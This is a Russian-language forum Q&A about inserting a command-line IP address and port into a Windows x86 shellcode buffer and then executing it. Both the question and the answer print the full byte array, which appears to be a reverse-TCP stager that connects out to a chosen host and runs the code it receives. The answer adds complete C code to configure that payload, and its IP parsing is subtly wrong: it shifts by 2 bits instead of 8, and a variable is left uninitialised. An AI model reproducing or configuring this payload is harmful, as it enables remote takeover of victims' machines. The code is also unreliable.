Преобразуйте Integer и String в hexstrings и поместите их между другими hexstrings в правильном порядке байтов в C - PullRequest
0 голосов
/ 14 сентября 2018

У меня есть шелл-код с ip и портом внутри.

unsigned char buf[] = 
"\xfc\xe8\x82\x00\x00\x00\x60\x89\xe5\x31\xc0\x64\x8b\x50\x30"
"\x8b\x52\x0c\x8b\x52\x14\x8b\x72\x28\x0f\xb7\x4a\x26\x31\xff"
"\xac\x3c\x61\x7c\x02\x2c\x20\xc1\xcf\x0d\x01\xc7\xe2\xf2\x52"
"\x57\x8b\x52\x10\x8b\x4a\x3c\x8b\x4c\x11\x78\xe3\x48\x01\xd1"
"\x51\x8b\x59\x20\x01\xd3\x8b\x49\x18\xe3\x3a\x49\x8b\x34\x8b"
"\x01\xd6\x31\xff\xac\xc1\xcf\x0d\x01\xc7\x38\xe0\x75\xf6\x03"
"\x7d\xf8\x3b\x7d\x24\x75\xe4\x58\x8b\x58\x24\x01\xd3\x66\x8b"
"\x0c\x4b\x8b\x58\x1c\x01\xd3\x8b\x04\x8b\x01\xd0\x89\x44\x24"
"\x24\x5b\x5b\x61\x59\x5a\x51\xff\xe0\x5f\x5f\x5a\x8b\x12\xeb"
"\x8d\x5d\x68\x33\x32\x00\x00\x68\x77\x73\x32\x5f\x54\x68\x4c"
"\x77\x26\x07\x89\xe8\xff\xd0\xb8\x90\x01\x00\x00\x29\xc4\x54"
"\x50\x68\x29\x80\x6b\x00\xff\xd5\x6a\x0a\x68\xc0\xa8\x00\x01" <-- position 176 - 179; \xc0\xa8\x00\x01 = 192.168.0.1
"\x68\x02\x00\x04\x57\x89\xe6\x50\x50\x50\x50\x40\x50\x40\x50" <-- position 183 - 184; \x04\x57 = 1111
"\x68\xea\x0f\xdf\xe0\xff\xd5\x97\x6a\x10\x56\x57\x68\x99\xa5"
"\x74\x61\xff\xd5\x85\xc0\x74\x0a\xff\x4e\x08\x75\xec\xe8\x67"
"\x00\x00\x00\x6a\x00\x6a\x04\x56\x57\x68\x02\xd9\xc8\x5f\xff"
"\xd5\x83\xf8\x00\x7e\x36\x8b\x36\x6a\x40\x68\x00\x10\x00\x00"
"\x56\x6a\x00\x68\x58\xa4\x53\xe5\xff\xd5\x93\x53\x6a\x00\x56"
"\x53\x57\x68\x02\xd9\xc8\x5f\xff\xd5\x83\xf8\x00\x7d\x28\x58"
"\x68\x00\x40\x00\x00\x6a\x00\x50\x68\x0b\x2f\x0f\x30\xff\xd5"
"\x57\x68\x75\x6e\x4d\x61\xff\xd5\x5e\x5e\xff\x0c\x24\x0f\x85"
"\x70\xff\xff\xff\xe9\x9b\xff\xff\xff\x01\xc3\x29\xc6\x75\xc1"
"\xc3\xbb\xf0\xb5\xa2\x56\x6a\x00\x53\xff\xd5";

Теперь я хочу написать функцию, в которой я могу передать свой собственный ip и порт из командной строки, чтобы заменить его в шеллкоде. Надеюсь, теперь стало понятнее.

=============================================== =====================

Я разделил шелл-код на начало (buf1), часть между ip и портом (buf2) и часть после (buf3). Затем я попытался конвертировать IP из Argv

unsigned char ip[4];
char *str = argv[1];
int i = 0;
char* buff;
ip = strtok(str,".");    
while (buff != NULL) {
   ip[i] = (unsigned char)atoi(buff);
   buff = strtok(NULL,".");
   i++;
}

потому что я мог бы собрать их все вместе с помощью memcpy

unsigned char result[ sizeof(buf1) + sizeof(ip) + sizeof(buf2) + sizeof(port) + sizeof(buf3) -5 ];

memcpy(result, buf1, sizeof(buf1)-1);
memcpy(result + sizeof(buf1)-1, ip, sizeof(ip)-1);
memcpy(result + sizeof(buf1)-1 + sizeof(ip)-1, buf2, sizeof(buf2)-1);
memcpy(result + sizeof(buf1)-1 + sizeof(ip)-1 + sizeof(buf2)-1, port, sizeof(port)-1);
memcpy(result + sizeof(buf1)-1 + sizeof(ip)-1 + sizeof(buf2)-1 + sizeof(port)-1, buf3, sizeof(buf3)-1);

но я также не понимаю, как преобразовать порт (atoi (argv)), чтобы снова соединить все вместе.

наконец-то я хочу выполнить это как

int (*ret)() = (int(*)())result;
ret();

1 Ответ

0 голосов
/ 14 сентября 2018

Просто поместите байты в буфер, побайтно:

void shellcode_insert_ip_and_port(unsigned char shellcode[], uint32_t ip, uint16_t port)
{
    shellcode[176] = (ip >> 24) & 0xff;
    shellcode[177] = (ip >> 16) & 0xff;
    shellcode[178] = (ip >> 8) & 0xff;
    shellcode[179] = ip & 0xff;
    shellcode[183] = (port >> 8) & 0xff;
    shellcode[184] = port & 0xff;
}

Просто возьмите значение iint uint32_t и значение порта uint16_t и поместите их в буфер, используя сдвиги (и битовую маску, если необходимо).

Полный код:

#define _GNU_SOURCE 1
#include <stdio.h>
#include <assert.h>
#include <stdlib.h>
#include <errno.h>
#include <string.h>
#include <stdint.h>
#include <limits.h>

unsigned char shellcode[] = 
"\xfc\xe8\x82\x00\x00\x00\x60\x89\xe5\x31\xc0\x64\x8b\x50\x30"
"\x8b\x52\x0c\x8b\x52\x14\x8b\x72\x28\x0f\xb7\x4a\x26\x31\xff"
"\xac\x3c\x61\x7c\x02\x2c\x20\xc1\xcf\x0d\x01\xc7\xe2\xf2\x52"
"\x57\x8b\x52\x10\x8b\x4a\x3c\x8b\x4c\x11\x78\xe3\x48\x01\xd1"
"\x51\x8b\x59\x20\x01\xd3\x8b\x49\x18\xe3\x3a\x49\x8b\x34\x8b"
"\x01\xd6\x31\xff\xac\xc1\xcf\x0d\x01\xc7\x38\xe0\x75\xf6\x03"
"\x7d\xf8\x3b\x7d\x24\x75\xe4\x58\x8b\x58\x24\x01\xd3\x66\x8b"
"\x0c\x4b\x8b\x58\x1c\x01\xd3\x8b\x04\x8b\x01\xd0\x89\x44\x24"
"\x24\x5b\x5b\x61\x59\x5a\x51\xff\xe0\x5f\x5f\x5a\x8b\x12\xeb"
"\x8d\x5d\x68\x33\x32\x00\x00\x68\x77\x73\x32\x5f\x54\x68\x4c"
"\x77\x26\x07\x89\xe8\xff\xd0\xb8\x90\x01\x00\x00\x29\xc4\x54"
"\x50\x68\x29\x80\x6b\x00\xff\xd5\x6a\x0a\x68\xc0\xa8\x00\x01" // <-- position 176 - 179; \xc0\xa8\x00\x01 = 192.168.0.1
"\x68\x02\x00\x04\x57\x89\xe6\x50\x50\x50\x50\x40\x50\x40\x50" // <-- position 183 - 184; \x04\x57 = 1111
"\x68\xea\x0f\xdf\xe0\xff\xd5\x97\x6a\x10\x56\x57\x68\x99\xa5"
"\x74\x61\xff\xd5\x85\xc0\x74\x0a\xff\x4e\x08\x75\xec\xe8\x67"
"\x00\x00\x00\x6a\x00\x6a\x04\x56\x57\x68\x02\xd9\xc8\x5f\xff"
"\xd5\x83\xf8\x00\x7e\x36\x8b\x36\x6a\x40\x68\x00\x10\x00\x00"
"\x56\x6a\x00\x68\x58\xa4\x53\xe5\xff\xd5\x93\x53\x6a\x00\x56"
"\x53\x57\x68\x02\xd9\xc8\x5f\xff\xd5\x83\xf8\x00\x7d\x28\x58"
"\x68\x00\x40\x00\x00\x6a\x00\x50\x68\x0b\x2f\x0f\x30\xff\xd5"
"\x57\x68\x75\x6e\x4d\x61\xff\xd5\x5e\x5e\xff\x0c\x24\x0f\x85"
"\x70\xff\xff\xff\xe9\x9b\xff\xff\xff\x01\xc3\x29\xc6\x75\xc1"
"\xc3\xbb\xf0\xb5\xa2\x56\x6a\x00\x53\xff\xd5";

void shellcode_insert_ip_and_port(unsigned char shellcode[], uint32_t ip, uint16_t port)
{
    shellcode[176] = (ip >> 24) & 0xff;
    shellcode[177] = (ip >> 16) & 0xff;
    shellcode[178] = (ip >> 8) & 0xff;
    shellcode[179] = ip & 0xff;
    shellcode[183] = (port >> 8) & 0xff;
    shellcode[184] = port & 0xff;
}

#define ERR_ON(expr, msg, ...) \
    do{ if (expr) { fprintf(stderr, "ERROR: " msg "\n", ##__VA_ARGS__); exit(-1); } }while(0)

long strtol_safe(const char *s)
{
        char *tmp;
        errno = 0;
        const long val = strtol(s, &tmp, 10);
        ERR_ON(errno == ERANGE && (val == LONG_MAX || val == LONG_MIN),
            "strtol conversion was out of range for '%s'", s);
        ERR_ON(errno != 0, "strtol error while converting '%s'", s);
        ERR_ON(tmp == s, "no digits were found while converting %s", s);
        return val;
}

int main(int argc, const char *argv[])
{   
   // run like `program 192.168.0.1 1234`
   ERR_ON(argc != 3, "This program needs two arguemnts - ip and port!");

    uint32_t ip;
    for (char *start = argv[1], *stop = start;
        *stop != '\0' && (stop = strchrnul(start, '.'), 1);
        start = stop + 1) {

        const long val = strtol_safe(start);
        ERR_ON(!(0 <= val && val <= 255), 
            "the value of %.*s must be between 0 and 255", (int)(stop - start), start);

        ip <<= 2;
        ip |= val & 0xff;
    }

    uint16_t port;
    {
        const long val = strtol_safe(argv[2]);
        ERR_ON(!(0 <= val && val <= UINT16_MAX), 
            "port must be between 0 and %d", UINT16_MAX);
        port = val;
    }

    shellcode_insert_ip_and_port(shellcode, ip, port);

    return 0;
}
Добро пожаловать на сайт PullRequest, где вы можете задавать вопросы и получать ответы от других членов сообщества.
...